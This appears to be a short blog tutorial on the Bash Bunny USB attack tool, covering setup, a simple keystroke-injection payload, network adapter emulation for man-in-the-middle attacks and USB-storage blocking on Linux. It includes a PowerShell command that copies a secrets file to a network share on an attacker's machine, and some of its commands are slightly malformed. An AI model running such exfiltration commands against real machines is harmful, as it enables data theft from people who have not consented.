The Bash Bunny is a versatile USB attack tool designed to automate penetration testing tasks by emulating USB devices like keyboards or network adapters. It allows security professionals to execute payloads discreetly, making it a valuable tool for red teamers and ethical hackers.
You Should Know:
1. Bash Bunny Setup & Basic Commands
Before using the Bash Bunny, you need to configure it properly:
Connect Bash Bunny to a Linux system lsusb | grep "Bash Bunny" Verify detection cd /media/root/BashBunny/ Access the device
2. Creating a Simple Payload
The Bash Bunny uses payload scripts in the `payloads` folder. Here’s an example of a basic HID (Human Interface Device) attack:
Create a new payload folder mkdir -p /media/root/BashBunny/payloads/switch1/ Write a ducky script (keyboard emulation) echo "DELAY 1000" > /media/root/BashBunny/payloads/switch1/payload.txt echo "STRING Hello, this is a test payload" >> payload.txt
3. Network Attacks with Bash Bunny
The Bash Bunny can emulate a network adapter for MITM attacks:
Enable Ethernet gadget mode echo "ifconfig eth0 192.168.1.100 netmask 255.255.255.0 up" >> payload.txt
4. Exfiltrating Data via USB
A common use case is stealing files from a target machine:
Windows command (executed via HID) powershell -command "Copy-Item C:\secrets.txt -Destination \192.168.1.100\share\"
5. Defending Against Bash Bunny Attacks
To protect your system:
Linux: Disable unauthorized USB devices echo 'install usb-storage /bin/false' > /etc/modprobe.d/disable-usb-storage.conf
What Undercode Say:
The Bash Bunny is a powerful tool for penetration testers, but it can also be weaponized by malicious actors. Always use it ethically and ensure proper authorization before testing. Organizations should implement USB restrictions and monitor unexpected USB device activity.
Expected Output:
- Successful payload execution on a target machine.
- Network-based attacks (MITM, data exfiltration).
- Logs of unauthorized USB device connections.
Prediction:
As USB-based attacks evolve, tools like the Bash Bunny will become more sophisticated, requiring stronger endpoint security measures, such as USB device whitelisting and behavioral monitoring.
